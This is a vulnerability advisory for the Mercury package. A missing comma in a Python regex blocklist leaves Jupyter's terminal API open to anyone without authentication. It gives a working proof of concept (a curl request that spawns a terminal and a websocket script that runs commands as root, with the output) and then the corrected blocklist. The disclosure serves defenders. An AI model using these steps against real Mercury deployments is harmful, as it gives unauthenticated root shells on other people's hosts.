| Package | Affected versions | Patched versions |
|---|---|---|
| mercury | ≥ 3.0.0, < 3.2.4 | 3.2.4 |
A missing comma in mercury_app/block_handler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.
The blocklist in mercury_app/block_handler.py is defined as:
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]
The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:
/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together)
/api/shutdown(?:/.*)?
/files(?:/.*)?
A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter
Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.
Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration.
Step 1 - spawn a terminal:
curl -i -X POST http://localhost:8888/api/terminals
Response: {"name": "1", "last_activity": "..."}
Step 2 - connect to the terminal and execute commands:
python3 -c "
import websocket, json, time
ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())
ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)
ws.settimeout(2)
try:
while True:
print(ws.recv())
except Exception:
pass
"
Observed output:
["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]
Confirms full, interactive root shell access with no authentication or prior access of any kind.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeExploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).
Add the missing comma so /api/terminals becomes an independent blocklist rule:
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]